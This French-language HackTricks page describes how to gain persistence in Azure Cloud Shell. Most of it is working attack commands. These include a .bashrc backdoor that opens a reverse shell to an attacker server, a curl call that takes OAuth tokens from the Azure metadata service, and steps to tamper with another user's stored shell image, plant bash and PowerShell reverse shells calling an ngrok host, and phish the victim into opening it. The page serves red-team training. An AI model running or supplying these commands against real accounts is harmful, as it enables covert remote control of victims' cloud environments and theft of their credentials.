Az - Cloud Shell Persistence

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Cloud Shell Persistence

Azure Cloud Shell offre un accÚs en ligne de commande pour gérer les ressources Azure avec un stockage persistant et une authentification automatique. Les attaquants peuvent exploiter cela en plaçant des portes dérobées dans le répertoire personnel persistant :

  • Stockage Persistant : Le rĂ©pertoire personnel d’Azure Cloud Shell est montĂ© sur un partage de fichiers Azure et reste intact mĂȘme aprĂšs la fin de la session.
  • Scripts de DĂ©marrage : Des fichiers comme .bashrc ou config/PowerShell/Microsoft.PowerShell_profile.ps1 s’exĂ©cutent automatiquement au dĂ©but de chaque session, permettant une exĂ©cution persistante lorsque le cloud shell dĂ©marre.

Exemple de porte dérobée dans .bashrc :

echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc

Cette porte dĂ©robĂ©e peut exĂ©cuter des commandes mĂȘme 5 minutes aprĂšs que le cloud shell a Ă©tĂ© terminĂ© par l’utilisateur.

De plus, interrogez le service de mĂ©tadonnĂ©es d’Azure pour obtenir des dĂ©tails sur l’instance et des jetons :

curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

Phishing dans Cloud Shell

Si un attaquant trouve d’autres images d’utilisateurs dans un compte de stockage auquel il a accĂšs en Ă©criture et en lecture, il pourra tĂ©lĂ©charger l’image, ajouter un backdoor bash et PS dedans, et la tĂ©lĂ©charger Ă  nouveau dans le compte de stockage afin que la prochaine fois que l’utilisateur accĂšde au shell, les commandes seront automatiquement exĂ©cutĂ©es.

  • TĂ©lĂ©charger, backdoor et tĂ©lĂ©charger l’image :
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>

# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img

# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Unmount
cd /tmp
sudo umount /tmp/backdoor_img

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
  • Ensuite, hameçonner l’utilisateur pour accĂ©der Ă  https://shell.azure.com/

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks